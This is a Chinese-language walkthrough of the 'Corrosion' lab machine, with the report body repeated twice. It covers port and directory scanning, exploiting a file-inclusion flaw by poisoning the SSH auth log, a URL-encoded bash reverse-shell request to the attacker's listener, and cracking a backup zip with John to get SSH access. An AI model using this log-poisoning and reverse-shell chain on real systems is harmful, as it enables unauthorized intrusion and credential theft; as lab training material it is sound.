Corrosion_wp

由 rokki3 发布

基本信息

  • 靶机 IP:192.168.126.140
  • 攻击机 IP:192.168.126.132

信息收集阶段

端口扫描

使用 nmap 扫描靶机所有端口

nmap -p 1-65535 192.168.126.140

结果:

  • 开放端口:
    • 22/tcp(SSH)
    • 80/tcp(HTTP)

Web 服务枚举

访问 80 端口

  • 页面为默认的 Ubuntu 网站。

使用 Gobuster 枚举目录

gobuster dir -u http://192.168.126.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现目录:

  • /tasks
  • /blog-post

访问 /tasks

  • 存在 tasks_todo.txt 文件。
  • 内容涉及 SSH 的提示。

访问 /blog-post

  • 页面无明显信息。

深入探测

​ 二次注入

  • /blog-post/archives 目录中手动点击各个链接。
  • 发现 randylogs.php,页面为空白。

使用 ffuf 模糊测试

ffuf -u http://192.168.126.140/blog-post/archives/randylogs.php?file=FUZZ -w /usr/share/wordlists/dirb/common.txt

结果:

  • 存在 文件包含漏洞

文件包含漏洞利用

结合前面 SSH 的提示,考虑利用 SSH 登录污染 /var/log/auth.log,然后通过文件包含执行命令。

  • 参考网上相关帖子,尝试三种思路,最终发现命令执行成功。

准备监听反弹 Shell

在攻击机上运行:

nc -lvvp 4444

发起反弹 Shell 请求(需 URL 编码)

http://192.168.126.140/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.126.132/4444%200%3E%261%22%20%7C%20bash

效果:

  • 成功反弹 shell。

获取用户权限

查看目录结构

  • 发现 /backups 目录。
  • 其中包含 user_backup.zip 文件。

下载 zip 文件

使用 Python 启动 HTTP 服务:

python3 -m http.server 80

浏览器访问:

http://192.168.126.140/backups/user_backup.zip

破解 ZIP 密码

zip2john user_backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
  • 成功爆破出密码。

解压并查看内容

  • 获得 Randy 用户的登录密码。

使用 SSH 登录

ssh randy@192.168.126.140
  • 成功登录。
id
  • 确认为普通用户。

查看用户 flag

cat user.txt
  • 成功获取 flag

总结

  • 利用文件包含漏洞结合日志注入成功反弹 shell。
  • 破解备份文件获得 SSH 凭据,成功登录。
  • 获取 user.txt,完成用户权限阶段目标。

    渗透测试记录报告

基本信息

  • 靶机 IP:192.168.126.140
  • 攻击机 IP:192.168.126.132

信息收集阶段

端口扫描

使用 nmap 扫描靶机所有端口

image-20250407181941151

nmap -p 1-65535 192.168.126.140

结果:

  • 开放端口:
    • 22/tcp(SSH)
    • 80/tcp(HTTP)
    • image-20250407181953358

Web 服务枚举

访问 80 端口

  • 页面为默认的 Ubuntu 网站。
  • image-20250407182058505

使用 Gobuster 枚举目录

gobuster dir -u http://192.168.126.140 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

发现目录:

  • /tasks
  • /blog-post
  • image-20250407182113933

访问 /tasks

  • 存在 tasks_todo.txt 文件。
  • image-20250407182127446
  • 内容涉及 SSH 的提示。
  • image-20250407182136627

访问 /blog-post

  • 页面无明显信息。
  • image-20250407182147147

深入探测

二次注入

image-20250407182210706

  • 在 /blog-post/archives 目录中手动点击各个链接。
  • image-20250407182300274
  • 发现 randylogs.php,页面为空白。
  • image-20250407182312552

使用 ffuf 模糊测试

ffuf -u http://192.168.126.140/blog-post/archives/randylogs.php?file=FUZZ -w /usr/share/wordlists/dirb/common.txt

image-20250407182347710

结果:

  • 存在 文件包含漏洞
  • image-20250407182359469

文件包含漏洞利用

结合前面 SSH 的提示,考虑利用 SSH 登录污染 /var/log/auth.log,然后通过文件包含执行命令。

image-20250407182410434

  • 参考网上相关帖子,尝试三种思路,最终发现命令执行成功。
  • image-20250407182419748
  • image-20250407182441485
  • image-20250407182456203

准备监听反弹 Shell

在攻击机上运行:

nc -lvvp 4444


发起反弹 Shell 请求(需 URL 编码)

http://192.168.126.140/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=echo%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.126.132/4444%200%3E%261%22%20%7C%20bash

效果:

  • 成功反弹 shell。
  • image-20250407182516742

获取用户权限

查看目录结构

  • 发现 /backups 目录。
  • 其中包含 user_backup.zip 文件。

下载 zip 文件

使用 Python 启动 HTTP 服务:

python3 -m http.server 80

image-20250407182714665

浏览器访问:

http://192.168.126.140/backups/user_backup.zip

image-20250407182730112
破解 ZIP 密码

zip2john user_backup.zip > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
  • 成功爆破出密码。
  • image-20250407182743041

解压并查看内容

  • 获得 Randy 用户的登录密码。
  • image-20250407182752561

使用 SSH 登录

ssh randy@192.168.126.140
  • image-20250407182808547
  • 成功登录。
id
  • 确认为普通用户。
  • image-20250407182821340

查看用户 flag

cat user.txt
  • 成功获取 flag
  • image-20250407182836566

总结

  • 利用文件包含漏洞结合日志注入成功反弹 shell。
  • 破解备份文件获得 SSH 凭据,成功登录。
  • 获取 user.txt,完成用户权限阶段目标。


0条评论

发表评论